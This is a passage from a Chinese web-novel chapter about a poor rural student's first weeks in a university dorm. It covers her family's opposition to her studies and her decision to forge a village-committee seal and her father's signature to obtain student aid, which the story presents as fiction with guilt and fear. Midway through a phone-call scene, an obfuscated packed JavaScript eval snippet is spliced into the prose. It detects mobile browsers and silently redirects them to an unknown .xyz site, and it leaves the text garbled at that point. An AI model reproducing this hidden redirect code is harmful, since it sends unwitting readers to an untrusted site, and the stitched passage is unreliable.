“支付宝?”曲涵懵圈,“什么是支-付-宝。” 沈镜也愣了一下:“你没用过淘-宝吗?” “什么淘-宝?” “就是网购。” “噢。网上购物。我没有。”曲涵摇头,“我都是去超市买东西。” “你可以下载一个淘-宝app,注册一个新账号,就能网上购物了,东西比线下超市便宜。” “真的呀!”一听更便宜,曲涵立刻下载,“是这个软件吗?” “是。”沈镜指着下面一个软件说,“这个蓝色的就是支-付-宝。用来支付的。也可以互相转账。绑定银行卡就行。” “好的。好的。我研究一下。” “我一会弄不明白能问你吗?” “可以。” “谢谢你!” “嗯。” “她们俩去哪了?” “在食堂。” “我也要去食堂了。” “我……”曲涵放个毛巾的功夫,再转身,沈镜已经走了,宿舍门半关着,后半句噎在喉咙,“我自己去吧。” 她拿抹布擦洗床位和书桌,简单收拾下行李,坐在书桌前摆弄手机,刚注册完淘-宝账号,宿舍门蹭地开了。 一个人影窜进来,勾住她肩膀。 曲涵还没转头,那人的脑袋就贴到她肩膀了,亲热地说:“我的宝。你终于来啦!” “你、你好。”曲涵被突如其来的热情惊着。 那人笑眯眯的:“你好呀。我是三号床的孙思敏。” 她站直,指着身边的高个子女生说:“她是一号床。安若仪。我们的室长!” “你别乱说。”安若仪否认,拉凳子坐到曲涵面前,“她瞎说的。我们还没选宿舍长。沈镜和你说宿舍费的事了吧。” “说啦!我一会转给你。” “没事。不着急。你先整理吧。” “你吃饭了吗?”孙思敏问。 曲涵摇头。 “你能吃辣吗?” “可以。” “太好啦。这个给你。”孙思敏放下一袋东西,“手抓饼。老板放错酱料了。我要的番茄酱,她放了辣椒酱。我不吃辣。请你吧。” “这……这多不好意思。” “没事。因为做错,这份是老板送我的。不要钱的。扔了浪费。” “那谢谢你。” “我看你昨天晚餐点的是水煮活鱼。”安若仪拆台。 孙思敏拿镜子,贴着脸照,语气哀怨:“对啊!!就是那个水煮活鱼的错!!我长痘啦!!你看!!” 她放下镜子,声音却更尖锐了:“啊!!两颗!!你快看啊!!” 安若仪捂住耳朵:“你快把我耳朵喊聋啦!” 曲涵安抚:“可以用蒲公英。” “嗯?!”孙思敏放下镜子,竖起耳朵,“怎么用?” 曲涵说:“夏天天气热,肝火旺盛,很容易长痘,我们那边的人都去山里摘蒲公英,把鲜草捣汁外涂或煮水饮用可以消痘。蒲公英是清热解毒的。” “真的吗?我从没听说这种方式。” “真的。我们世代都这么用。只要你不对蒲公英过敏。” 孙思敏指着书柜里的瓶瓶罐罐:“我都用痘立清。有时候有用,有时候没用。”说着,她用尖头镊子挤破脓包,挤掉脓头,又用药膏涂抹伤口,“你国庆会回家吗?” “会吧。”曲涵不确定。 “你回家能不能帮我带点蒲公英呀?” “可以!”曲涵拍胸脯,“包在我身上。” — 直到下午,沈镜才回宿舍。 孙思敏躺在床上玩手机,随口问了句:“你吃个饭这么久?现在才回来。” 沈镜随意地‘嗯’了声,显然没有想讨论下去的想法,孙思敏便没再问。她翻身下床,拿着宿舍信息单说:“这是昨天阿姨给我的。让我填完交上去。昨天人不齐,我只填了我自己的信息。” “我现在填。”沈镜伏案填写。 曲涵也凑过来。沈镜填完,她很自然地伸手去接笔,沈镜却随手将笔揣进衣兜说:“这是我的笔。” 尴尬的神情在曲涵脸上一闪而过,她转身找笔,东西还没整理完,乱七八糟地塞在柜子里,她不记得有没有带笔来,摸了半天也没找到一支。 安若仪递过来一支:“喏。” 曲涵填完资料交还原子笔:“我填完啦!” 安若仪摆手:“给你吧。刚开学,很多资料要填呢。你得随身带支笔。” “谢谢。”曲涵再次道谢。 孙思敏拍手吸引注意:“咱们要选个宿舍长。”她以迅雷不及掩耳之势举手推荐,“我选安若仪。” “啥啊!我没说要参加竞选。”室长是个得罪人又没奖励的职务,安若仪才不想做,摆手推脱。 “你是一号床。那天买宿舍用具又是你出钱。”孙思敏踮脚,拍着她肩膀,语重心长地说,“说明你是天生做室长的人才啊。天将降大任于斯人也。” 曲涵举手:“我也支持你!” 孙思敏看向沈镜。 沈镜点头:“我同意。” “好啦好啦。就这么决定啦。这个室长就是个名头,我们绝对听话,绝对不给你添乱。”孙思敏俯身,笔尖悬停在宿舍长一栏,“若仪,我填了哟。” 安若仪无奈:“行吧。行吧。” 填好表格,孙思敏找出个拍立得,支起三脚架,固定好相机,招呼三人往宿舍中间站:“入住第一天。咱们拍照留念下呗。” 三人没同意也没拒绝,准确说是根本没反应过来,愣在原地。 孙思敏按下定时,挤进她们中间:“茄子!” “我看看。”她抽出相片,边扇风,边指挥三个人换位置,“再拍三张。咱们一人一张。” 相片呈像,她拿在手里看,边看边调整站位。 “这东西好神奇,马上就打印出来了?” “这是拍立得。” 孙思敏主动提:“你喜欢我可以借你拍几张。” “不不不。”曲涵手摆得像摇扇,“这个肯定很贵。” “我买的二手货。可便宜了。八百块吧。” 曲涵倒吸凉气:“好家伙。一头羊呢。” “你说什么?”孙思敏抬头。 “没事。”曲涵笑笑,“我要怎么站?还站这?” “你和若仪换一下吧。她太高了。让她站旁边。中间留个位置给我。”孙思敏固定好相机,这次没着急按快门,等她站定,一手揽过沈镜的腰,一手抬高,两只手指贴在她嘴角往上扯,“镜子,你笑一下啊。别愁眉苦脸的。” 沈镜笑出来,她才去按快门。 “第二张。三二一。拍!” “第三张。来换姿势。”孙思敏侧身去抱曲涵,脸颊贴近,“贴贴宝贝。” “三二一。拍!” “第四张。”孙思敏松开手,挺直背脊,踮脚,两只手都竖起两指,比出像兔子耳的手势,一只手放在沈镜头顶,一只手绕过曲涵,举高举高再举高,放在安若仪头顶。 安若仪揶揄:“就你那小身高别费劲了。” “我乐意!”孙思敏本着输人不输阵的气势,挺起胸膛,更努力地踮脚举高手。 安若仪嘴上损她,身子却很配合地弓下来。 “来!三二一。拍!” 孙思敏分照片:“第一张拍得一般,我就自己留着啦。剩下的分给你们。来。第二张给镜子。第三张给涵涵。第四张给若仪。” 短短三小时,孙思敏对她的称呼就亲昵到‘涵涵’了,曲涵侧脸还多了三个唇印,她佩服孙思敏的健谈,羡慕她的外向。 曲涵捧着照片左瞧右看,怎么看怎么欢喜。这可是价值一头羊的照片呀! 翻到背后的空白页,她提议:“要不写点什么吧?” “好呀。”孙思敏第一个响应,“写什么呢?” 安若仪说:“104寝室合影留念。” “这么土。你活在上世纪吗?”孙思敏揶揄。 安若仪撇嘴:“你来想个不土的。” “就写‘大学四年,我们要成为关系最好的模范宿舍!’发誓人孙思敏。” “大小姐。你比我还土啊。”安若仪扶额。 曲涵却很满意:“我觉得挺好的。是一种期盼,也是一份誓言嘛。” “那就写这个。”孙思敏在自己的照片背面写上那句话,也加上了安若仪说的那句,写完催促三人也写。 曲涵把拍立得贴在宿舍柜门。 又拿水笔在下面加了一句—— ‘大学!我来啦!大学!加油!’ — 晚上七点,宿舍门被叩响。 沈镜开门:“你找谁?” 门外人说:“曲涵在吗?” 曲涵正在上铺铺褥子,听到有人找自己,一骨碌地爬下床,踉踉跄跄地跑到门边。 沈镜侧身让位。 曲涵抬眼镜:“你是?” 那人说:“辅导员让我来的。你要申请助学金是吧?” “对对对。” “除了今天交的表格,还要在校网上填一份电子资料。你今晚就填,明天会进行统一的审核。有不会填的你在学生群里@辅导员问,或者私聊她问。” “好的。” 关上门,曲涵拿出手机登录校网。登上去才发现填写资料需要跳转到另外一个网页,那个网页只有电脑端,手机网页很多选项都收着,不好选。这下可难倒她了,这东西别说买,整个村里只有村委办公室有一台。一直到上高中,她才知道什么是电脑,可学校电脑课就是摆设,只有会考前才用过几次。 她下意识环顾四周。 沈镜的书桌上有一台笔记本。 沈镜说:“我的笔记本在充电。你可以去图书馆的电子阅览室用。免费的。网也是免费的。” “我这就去。”曲涵换外衣。 沈镜提醒:“记得带学生卡。图书馆要刷卡进。” “好的好的。” 安若仪拦下她:“用我的吧。” “谢谢你。” “一个宿舍的。不用这么客气。” “来。坐我这。”安若仪抽出凳子,打开柜子,拿出她的笔记本,放在书桌上,按下开机。 曲涵紧张得手汗流淌:“我、我不太会用。” “我教你。” “嗯。” 曲涵从旁边拉来一张凳子:“你也坐。” 孙思敏坐在上铺探头:“你俩干嘛呢?” “填资料。” 曲涵上手很快,那些信息涉及隐私,安若仪看她会用了,自觉地拉着凳子远离,坐到孙思敏床铺下方,仰着头和她聊天。 “大小姐,你带电脑来了吗?” “没带。” “哟。稀奇呀。” 孙思敏摊手:“大小姐是电子白痴。我不怎么会用电脑。我喜欢用手机。现在智能机多方便啊,什么都能做。” “对了。曲涵你是不是也没带电脑来?” “我没有。” “你准备买吗?” “呃……”曲涵挠头。学费是妈妈卖了牛卖了羊凑的,不好意思再向妈妈要钱买电脑了,况且电脑很贵吧,大学能用几次电脑呢,非得买一台吗?她犹豫着沉默。 曲涵问:“若仪,你这电脑多少钱呀?” “一万六。” “二十头羊!”曲涵直接叫出来了。 “什么呀。”安若仪指着电脑后面的标识,“这个牌子叫外星人。不是羊。” “呃……”曲涵被这价格惊得冷汗直流。彻底打消买电脑的念头。 孙思敏爬下床:“电脑价格很多的。她买的好,所以贵。普通学生电脑三四千就够了。我周末想去电子城看电脑。曲涵,你去吗?” 一听三四千也能买电脑,跳到天灵盖的心落回胸膛。在心里盘算,第一学期可以去图书馆的电子阅览室用电脑,寒假找个兼职做,攒攒钱,也许明年能凑出台电脑。 打定主 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聊到这里,安若仪才想起来几人还没加好友,招呼道:“咱们还没互相加呢。我建个宿舍群,你们加进来吧。” “来。说群号。” “XXXXX……” “1、2、3、4。”安若仪数人头,“都加了。以后有事,我在群里通知。” 孙思敏拍胸脯,颇为自豪:“看吧。我就说你很适合宿舍长。” “敏可爱。”安若仪笑得前仰后合,“你这昵称够自恋的。” “切。你叫什么?”孙思敏不屑,“你叫‘若水方圆’?这名字好像我妈的微-信名。什么意思啊?” 安若仪尖声:“上善若水任方圆。没听说过?” “没有。” “那你得多读书了。” “切。” “曲涵叫什么呀?” “中通外直。” “你这又是什么说法?” 安若仪抢答:“《爱莲说》呗。‘中通外直,不蔓不枝。’你高考没背啊?” “我、我当然知道!”孙思敏忿忿,“我是问她为什么取这个名字。” 曲涵解释:“直和我的姓相反。算有关联吧。我也很喜欢这篇古文。” “镜子,你呢?” “mirror。” “真是镜子啊!” “嗯。我以前的同学也这么叫我。所以取这个昵称。好辨认。” “不愧是我。我真是机智。”孙思敏又明里暗里夸了自己一番。她给三个人改备注,盯着沈镜的头像看,越看越觉得熟悉,“镜子。我们是不是在新生群里聊过。” “呃。没有吧。我没印象了。”沈镜支支吾吾。 安若仪盯着那个头像看:“确实。我也对你有印象。不对,是对你。”她掉转话头,对准孙思敏,“你是E人吧?” “我是啊。”孙思敏承认。 “难怪。”安若仪点头,“这就对了。很符合。” “什么。什么。”曲涵耳朵竖立,八卦之心呼之欲-出,“你们在新生群就认识?” “不认识。聊过。”孙思敏翻聊天记录,整个暑假都泡在群里聊天,记录实在太多,翻了很久才找到三个的对话,就在沈镜刚入群的时候。 那时候孙思敏已经在群里两周了,和群里几个常冒泡的很熟,那几个人的姓名、所在地、家庭情况都知道。 “给你看吧。”孙思敏大方展示聊天内容。 08/09/07:23:48 [群聊机器人]:欢迎@mirror入群。 08/09/07:23:49 [敏可爱]:新人宝贝,早啊! 08/09/07:23:55 [薄凉]:你怎么管谁都叫宝贝! 08/09/07:24:09 [敏可爱]:要你管! 08/09/07:24:29 [敏可爱]:@mirror新人宝贝要曝照的噢! 08/09/07:24:35 [mirror]:啊? 08/09/07:24:49 [敏可爱]:我们都曝过啦! 08/09/07:25:12 [敏可爱]:宝贝不要害羞,我们早晚都要见面的嘛! …… 08/09/07:30:02 [敏可爱]:@mirror被我吓跑了吗? 08/09/07:30:15 [薄凉]:是被你吓跑了。 08/09/07:30:32 [敏可爱]:屁嘞!你乱讲! 08/09/07:30:47 [敏可爱]:我这么可爱!怎么会被我吓跑了! 08/09/07:31:31 [敏可爱]:@mirror宝贝不要怕!我给你打个样! 08/09/07:32:15 [敏可爱]:[自拍照.jpg] 08/09/07:32:20 [敏可爱]:[自拍照.jpg] 08/09/07:32:27 [敏可爱]:[自拍照.jpg] 08/09/07:33:05 [薄凉]:我服啦!你就是找理由发自己照片吧! 08/09/07:33:17 [敏可爱]:@薄凉闭嘴! 08/09/07:34:06 [敏可爱]:@mirror宝贝你也发嘛。薄凉这个丑人都发了,你有什么可怕的! 08/09/07:34:15 [薄凉]:放屁!哥帅得很! 08/09/07:34:20 [敏可爱]:@mirror 08/09/07:34:27 [mirror]:每个人都发了? 08/09/07:34:30 [敏可爱]:是哒! 08/09/07:34:32 [若水方圆]:没有。她们骗你的。 08/09/07:34:41 [若水方圆]:每个新人都被她们骗照。 08/09/07:34:47 [若水方圆]:快跑!别上当! 08/09/07:34:53 [敏可爱]:[害羞.emoji]被拆台了[哭泣.emoji] 08/09/07:34:59 [敏可爱]:方圆你的心好狠。 “哈哈哈。原来你们早就认识。”曲涵被聊天内容逗笑。 孙思敏拉着安若仪的手,脸贴得无限近:“你见过我照片,你第一天见我怎么没认出我?” “我不记得了。” “屁!我这么可爱。你怎么可能不记得!” “晕。”安若仪拿手机,调出照片,贴在她脸边,又把曲涵拉过来,“你看看。这是你吗?你P成这样谁能认出来?” “曲涵,你说!这像不像我!” “我说不好。” “说不好也得说!” 孙思敏伸手去挠她咯吱窝。 曲涵躲不开,被她挠得笑得流下两行清泪。 这时,曲涵的手机响了,借着接电话,她躲进阳台,关上阳台门,稍松一口气。 “喂。妈。” “我都安顿好了。” “我的室友很好。” “我们拍了照片,一会发给你看。” …… 电话打完,曲涵拍下那张拍立得,准备发给妈妈,信息都编辑好了才想起来妈妈的旧手机不是智能机,没有微-信,也没法接收彩信。 她捏紧手机,暗暗发誓—— 一定要认真读书,要努力兼职,要赚学费,要买电脑,还要给妈妈买一部能视频通话的智能机。 — 军训结束,大学生活就此开始。 曲涵像打鸡血一样,仍保持着高中的作息,每天五点起床背单词,绕操场走圈,再去食堂吃饭。下午下课,她没回宿舍,而是去图书馆刷题。周末还通过家教群找兼职。 大学生活被她排得满满当当。 她觉得一切充满希望,只要她努力,什么都会有的。 辅导员的一条短信却打断她的遐想。 [辅导员:下课到我办公室来一下。] 5. 104宿舍 不知道辅导员有什么事,曲涵战战兢兢的,上楼的几步像走了一个世纪,每一步都在自省。 “老师。”她叩门。 齐雪薇招手:“进来坐。别紧张。” 齐雪薇拿出两张助学金申请表:“你的申请表少三个公章。麻烦你补齐一下。” “啊?” “对。你申请的是特困助学金,还有学费减半,要比别人多三个公章。你在104寝?” “是的。” “你去106找她。她和你是一样的情况。你可以去问她那三个章要找谁盖。” “好的。谢谢辅导员。” “不客气。” “这个表要什么时候交呢?” “尽快吧。你问清楚,可以寄回家让家长帮你去盖,也可以等国庆回去盖。你交上来,我才能帮你去申请。” “好的。” 申请表上有院长和辅导员的签章,若是弄丢,补办很麻烦,妹妹年纪小,不懂去哪盖章,妈妈很忙,曲涵没想麻烦她,将表格收好,准备国庆回家去盖章。 — 九月的最后一天,下午是两节连堂实验课,曲涵把实验书都翻烂了,每个步骤都烂熟于心,提前完成实验。 她举手:“老师。我实验做完了。我买了回家的大巴票,能提前走吗?” 得到允许后,她拆解实验器材,擦洗台面。 孙思敏靠过来:“你回家别忘了给我带东西噢。” “什么?”曲涵懵圈。 孙思敏提醒:“蒲公英啊。祛痘的。之前咱们说好的。” “对对对。”曲涵拍脑门,这段时间忙着问助学金盖章的事,把答应的事忘了个干净,“我会的。我走了。” 明明离开才一个月,提着箱子下车时,曲涵竟有点恍惚。下过雨,村里的泥板路坑坑洼洼的,积着小水洼,轮子压过路面,像洒水车经过,污水飞溅。走没两步,裤脚沾了许多泥点子。 曲涵弯腰挽起裤腿。 回家的路这么长吗? 她站在家门口望着延绵的山路,好像才走了一会就到家了,可转身已看不见大巴车的影踪。 “是姐姐!”妹妹放下手里的东西,推开院门,趴在院角的黄狗一骨碌爬起来,跟着妹妹往外跑,绕着曲涵的裤管摇尾巴。 “姐姐回来怎么不和我说!”妹妹噘嘴,两手环胸,气鼓鼓的。 曲涵掏出个棒棒糖贿-赂:“我回自己家还要提前打招呼啊?” 妹妹眉开眼笑地接过,拆开包装纸,含在嘴里咬。 “妈妈在家吗?” “在的。” “在后院磨豆子。”她指着后屋,“姐,我要上山采蘑菇,你要和我去吗?” “不去。我找妈妈有点事。” “那我走了。”妹妹低头叫,“大黄,我们走。” “等等。” “怎么了?” “帮我摘点蒲公英。” “ok~” 曲涵放好行李,脱掉外套,往后院走。 家里的磨盘换了个电动的,老旧的二手货,但胜在便宜,买回来后,林秀娟骑车去镇上电器城买了个新电机,装上后和新的差不多,就是启动时,吭哧吭哧的,前院后屋都听得见,有点吵。 “妈。” 第一声,林秀娟没听见。 曲涵扯着嗓子:“妈!” “哎!”林秀娟关掉电磨,“这么快就回来啦。你怎么不给我打个电话,我让爸爸骑车去车站接你。拿着行李箱不好走吧。瞧你,裤腿全是泥点子。” 林秀娟拿布弯腰要给她擦。 曲涵接过抹布自己擦干净:“等爸爸来,那得等到啥时候啊。” 父亲对她的事不上心,经常是今天答应明天变卦,起初,曲涵很生气,现在已经习惯了,渐渐地她不再去找他,什么事都自己解决。 “妈。我那天跟你说盖章的事,你弄明白了吗?” “就是要户口本复印件去村委会办个东西呗。” “对。” “我和你爸说了。” “户口本呢?”曲涵摊手。 林秀娟面露难色,支支吾吾的:“你去问你爸要吧。” 曲涵有种不祥的预感:“爸在哪呢?” “在李叔家打麻将。” “啧。” 曲涵最不爱去那,隔壁李叔连着生了三个儿子,曲世中羡慕得不行,在家没事就坐在屋里叹气,说真命苦,只有三个女儿,没个男丁。自己的女儿哪里都不好,但别人家的儿子却稀罕得狠。 “爸。”曲涵站在院门口喊。 李婶招呼:“涵涵进来坐呀。我正炖鸡蛋羹呢。一会给你盛一碗。” “不麻烦了。我找我爸有事。” “成。那我给你去叫。” 曲世中的屁股像是钉在板凳上了,怎么叫也不出来,反倒叫曲涵有话进来说。 曲涵硬着头皮走进去:“叔叔伯伯好。” 几个人坐在桌边搓麻将,竹牌碰竹牌,稀里哗啦的,吵得人脑子疼,其中有个大烟-枪在吞云吐雾,曲涵拽过一把扇子扇风。 “你有什么事啊?”曲世中手和眼不离牌桌。 “爸。我要户口本。” “要干嘛?” “办助学金。妈不是和你说了吗?” “别读了。”曲世中终于舍得放下麻将牌,“李叔。替你联系了家职业学校,去读两年就能考会计证。” “什么?!”曲涵不敢相信,转头剜了眼李叔,“你跟我爸说什么了?” 李叔委屈:“我是为了你好啊。” “不让我读大学是为我好?” “你读那个化学有什么用,就业率多低啊。”李叔解释,“会计好啊。马上能就业。还不需要读四年。我家二小子就是考了个会计证,现在在厂里当记账员,一个月工资不低哩。” “因为你儿子考不上大学。想读也没机会。”曲涵回呛,扯着曲世中往外走,“爸。你别听他胡说。他懂什么啊!” 李叔脸上青一阵红一阵的。 旁边人解围:“涵涵,你别这样。大家都是乡里乡亲的,谁会害你啊。有话好好说。” 曲世中因为没儿子抬不起头,这刻好像找到点自信,扬起脸瞧热闹,过了好一会,才说话当和事佬:“涵涵,不许没大没小的。” “你跟我来。” 他拉着她到外面的磨盘边。 他坐着,翘着脚。 曲涵站着,颇为无语,刚要说话,被他拦住:“李叔说的也不是完全没道理。” “有什么狗屁道理。” “你读化学能做什么?” “可以当老师啊。” “师范生早把老师的名额挤满了,哪有你的份。再说你们那个初中,数学老师是她爹妈花大价钱塞进去的。咱家哪有那些钱给你买个老师的工作。” “因为她没文凭。只能走后门。”曲涵挺起胸膛,“我有文凭啊。我可以考教师证的。” “要是考不上呢?” “我能考上。” “考上一定能当老师吗?” 话题又转回来,曲涵烦躁得很:“当不了老师,我还能……”她一时噎住,半晌才说,“工作很多啊。我可以当实验员。去工厂。去车间。去生化类的公司。” 这回懵圈的轮到曲世中。 他瞪着一双无知的大眼睛:“咱们扶民镇还有这样的单位?” “我为什么要在镇里工作啊?我可以在海和就业,也可以去外省,全国那么多城市,我就不信找不到一份工作。”曲涵雄赳赳气昂昂,腰杆挺得笔直。 曲世中却蔫了,靠在磨盘边,单手支着脑袋,不知在想什么。 李叔的话,他从来都是听一半信一半。李叔不想让曲涵上大学,也许有嫉妒的成分,但也不完全是。隔壁王家的闺女,是村里第一个考上大学的,家里砸锅卖铁供给她读书,她毕业远嫁,家里只留下老两口拉扯一个小儿子。村里好几户都是如此,女儿越有出息越薄情。 曲世中没儿子,就指望三个闺女养老。他希望曲涵嫁个近点的,知根知底的男人,女婿也算半个儿,夫妻俩一块照顾他。 曲涵翅膀硬了,飞远了,谁管他? 还有一样,大学学费多贵啊,第一年就把家里的牛、羊卖了,今年卖了这些,明年卖什么。读技校可以免费的,只要两年,毕业还给介绍工作,这多好。 原本他对曲涵会不会飞远只是怀疑,这刻确信了,更不愿意掏钱送她读大学。 “不行。咱家没儿子,地不如别人家多,收成也不如别家。我和你妈身体都不好,家里还两个妹妹要养。没闲钱供你读大学。你赶紧退了回来读技校。” “爸。没闲钱,你更要帮我办助学金。拿到助学金,读大学就不用那么多钱。” “不行。一毛都没有。”曲世中打定主意不给她办这些,想让她知难而退,早早退学回家。 “爸!你给我办这个。剩下的钱我自己去打工去赚。不会要你的钱的。” “不行。”曲世中再次拒绝,这次比前一次更坚定。他两手背在身后,走出院门,骑车走了,任由她怎么扯着嗓子喊也不回头。 曲世中骑车躲到外村亲戚家了。 曲涵在家里翻了个底朝天也没找到户口本,无助地坐在地上哭:“妈。你真的不知道户口本在哪吗?” 林秀娟摇头:“一直是你爸收这些东西。”她拿凳子,爬上衣柜,在角落找出一个信封,拍落灰尘。 曲涵擦掉眼泪欣喜地凑近。 林秀娟拿出里面的东西,曲涵的心凉掉半截。 林秀娟说:“这是妈去工厂做兼职攒的。前些年,给姥姥治病用掉不少,还剩这一千块,你先带去用。等你爸回来,我再劝劝他。你别哭,别着急。会有办法的。” “我去村委问问。” 曲涵拿着申请表骑车去村委,怎么哭,怎么求,那人都不给她盖章,说必须得有户口本复印件和家长签字,都要备案走流程的。 “流程是死的。人是活的。你先给我盖章,手续我后面补行吗?求求你了。” “你别让我们为难行不行。” “唉。” 曲涵失落地往回走。 路上,手机在口袋里震动。 辅导员发消息来通知她,这个月10号是最后期限,一定要把申请表交上来,否则就没法申请这个学年的助学金。 她不知道怎么回辅导员的信息。 捏着手机,坐在路边愣神。 手机又响了。 是孙思敏打来的。 曲涵心乱如麻,没心思闲聊,任由她打,不去接听。 铃声响了一遍又一遍。 宿舍这边,孙思敏皱眉:“怎么不接电话呀?” 安若仪嚼着薯片:“可能在忙?这个季节是不是农忙啊?” “啊?我不知道啊。” “我也不知道。我听隔壁寝说的,回家帮爸妈干农活去了。” “那我……”孙思敏不好意思,“早知道不让她帮我摘蒲公英了。” “你打给她干嘛?” “我要买笔芯。买一百支送五十支。我看涵涵在搜这个,问她要不要一起买。” “又不是急事。你明天再给她打呗。” “我昨天打,她就没接。” 孙思敏继续打:“真担心啊。在干什么呢。” 铃声不知疲倦地响了一遍又一遍,曲涵觉得不接不行了,划开接听:“喂?” “你终于接电话啦!!”孙思敏在电话里又叫又喊,“你昨天没接。今天又不接。真担心死我了。你要是因为给我摘蒲公英出什么事,这辈子我睡不着觉了。” 曲涵笑:“不会。我摘好了。晒着呢。过两天我带给你。” “你什么时候回来啊?” “呃……不一定吧。” “你的事办完了吗?” “……办完了。” 孙思敏聊到正事:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664714|172946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我打来是问你要不要买笔芯。淘-宝店铺做活动。很便宜。” “可以啊。买吧。我要三十支。” “好。” “思敏。” “嗯?” “淘-宝是不是什么都能买?” “是啊。”孙思敏没有一点犹豫,“什么都行。小到挖耳勺,大到房子,都能买。你要买什么?” 曲涵愣住。 几秒后,随口胡诌:“给我妈买个手机。” “有的有的。你不着急的话可以等电器节的时候买。” “好。谢谢。” 挂断电话,曲涵在相册翻找东西。她想买的不是手机,而是公章。她不知道扶民村委会的公章长什么样,但应该和别人村委会的差不多吧?她下载了个P图软件,把同学申请表上的公章截下来,擦掉名字,换成‘扶民’。 她检查好几遍,确认看不出P图痕迹。 她在淘-宝搜印章刻录,有很多链接。 这是她第一次违-规,心跳如擂鼓,耳边有两个声音在吵架,左边说‘这是违-法的,努力兼职就能挣到学费不要做这种事’,右边说‘你是真的贫困户,真的被抓到,他们来查,看你符合条件不会说什么的’。 左边和右边互搏。 最后右边赢了。 助学金金额不小,足够她一学期的生活费,兼职能赚钱的总是有限的。她不想朝爸爸伸手,太难了,也不想让妈妈为难。 她真的需要这个。 也是真的符合条件。 哪怕被发现,学校一定会理解她的。 她找了家销量不高不低的,不那么显眼,也不用担心做出来的质量太差,她想了很多话术,如果店家问就说她是村委会的工作人员。 但店家没问,收到图就发来一个下单链接。 她点进去,填地址,填备注,下单付款。 一套操作下来,只需要三分钟,比她想的简单多了。可她的手抖个不停,两条腿都是软的,缓了好一会,才在路边找了根竹竿拄着走回家。 — 原本她打算在家待满七天,买了七号的回程票。可公章六号就寄到学校了,她改签车票,提着行李箱踏上回程的大巴。 以前,她最开心的事就是和妈妈坐大巴绕着山路去镇上赶集。 现在,她一点不喜欢这山路。她毕业以后,要去很远很远的地方,要离开这里很远很远。 到学校,她去取快递。取的东西见不得人,她也偷偷摸摸的,走一步,便左右看一眼,很怕遇到熟悉的同学。取到快递,她也没回宿舍,随手拆了,包装袋扔掉,拿出公章盖在申请表上。 申请表上的字是她让妹妹写的。 曲世中的字,她怎么都学不像。不如让妹妹替她写,妹妹还在上小学,字迹稚嫩,曲世中没读过什么书,写的字歪七扭八,和妹妹的幼体字差不了多少。 盖好印,她用布把公章包起来,放在行李箱底部,折叠申请表,贴身揣着,拉着行李箱慢吞吞地往宿舍走。 门一开,三个室友都在。 孙思敏跳起来:“我以为你要明天才回来!” 曲涵笑:“喏。蒲公英。” “么么。”孙思敏亲她脸颊,“感恩。我马上去试。我昨天又冒了个痘。你瞧,这么大,好疼的。” 安若仪推开她:“谁有工夫看你的痘。”她帮曲涵把行李箱推到床边,“你那些东西办好了吗?我去化学楼自习的时候遇到辅导员了。她说她这些天都在化学楼,你一回来就去交表。” “是嘛。我这就去。”曲涵拿出申请表。 安若仪瞄到:“你这公章盖糊了呀。” 曲涵定睛仔细瞧,边缘是有点糊,但影响不大,能看清公章的字。只是边缘的印油还没干,一看就是刚盖的,她瞬间心虚,面色煞白,把申请表迅速折叠,草草应付几句就出门了。 孙思敏眯眼:“她怎么了?” 安若仪摊手:“可能不想让别人问太多家里事吧。” 孙思敏叩沈镜的床铺:“你觉得呢?” “什么?”沈镜摘掉耳机。 孙思敏扶额:“算了。听你的歌吧。” — 从表格交上去的那刻,曲涵就开始失眠了,晚上睡不着,白天也不会犯困。课也听不进去,左耳进右耳出的,脑子里翻来覆去就只有助学金这件事。 她太害怕了。 直到辅导员在学生群里发消息说助学金审核通过,直到拿笔钱打到她的银行卡,直到她实实在在摸到红色的钞票,悬着的心才算落地。 孙思敏问:“涵涵,什么事这么高兴呀?” “我的助学金发下来了呢!” “对了。我给你带的蒲公英有用吗?”曲涵问。 孙思敏两手叉腰:“都过去一个月了。你现在才想起来问我这事。” “有啊。”孙思敏转头,让她看左脸、右脸,“我的痘痘都不见了呢。真的好有用啊。” “有用就好。我下次还给你带。” “好呀!” 孙思敏手机响了。 她划开接听:“若仪?对,曲涵和我在宿舍。现在去?噢。好啊。” “怎么了?”曲涵看她在收拾书包,也跟着收拾。 “辅导员要开会,让我们都过去呢。” “开什么会?” “说是抓到个作弊的?具体的我也没听清。估计是批评大会吧。不知道抓到谁了呢。” “曲涵?”孙思敏的手在她眼前晃,“我跟你说话呢。” 曲涵两条腿软得没知觉了,背后冷汗直冒,耳朵像是渡上一层硬膜,什么也听不见。辅导员抓到她了,全系都要知道这件事了。 孙思敏催着她出门。 她扶着桌子站起来。 下一秒,身子却不受控地歪斜。 “曲涵!!”孙思敏在她耳边尖叫。 再然后,她就什么也不知道了。 醒来,她躺在校医务室的床上。 6. 104宿舍 病床边围着同学和辅导员。 曲涵惊醒,猛地从床上坐起来:“我什么都没做!”她大喊,声音穿破床帘,隔壁病床的学生都拉开帘看。 她后知后觉地红了脸。 脖子缩了缩,恨不能找个地缝钻进去。 齐雪薇说:“你什么都别想。好好休息。校医说你是低血糖了。我给你批一天假,你不用去上课了,在宿舍休息吧。” “安若仪。你来办公室帮她拿假条。” 沈镜按住安若仪:“你在这。我去拿。” “好。”安若仪坐回床边。 沈镜跟随辅导员离开。 老师离开,孙思敏的话又多了起来:“你做噩梦了?” “辅导员在会上说什么了?”曲涵抓着她的手问,后槽牙咬得紧紧的,一颗心提到了嗓子眼,几乎要跳出来了。 安若仪说:“期中考抓到一个学长作弊。记大过一次,全院通报批评。学院门口贴白榜了。辅导员提醒我们,考试不过可以补考,补考不过可以重修,总之,千万千万不要作弊。” 曲涵松了一口气,靠着床头。 孙思敏摸她前额:“没发烧。还好。你要吃什么吗?” “我一会去食堂。”曲涵掀开被子,被孙思敏按回床上,盖上被子,“你躺着吧。我去给你买。” 安若仪说:“你不是申请助学金了嘛。那还不够吗?你晚上去食堂兼职,周末又去做家教,时间排得太满了。这样会很累。” “我要攒钱。” “买电脑?”安若仪提出,“你可以用我的。” 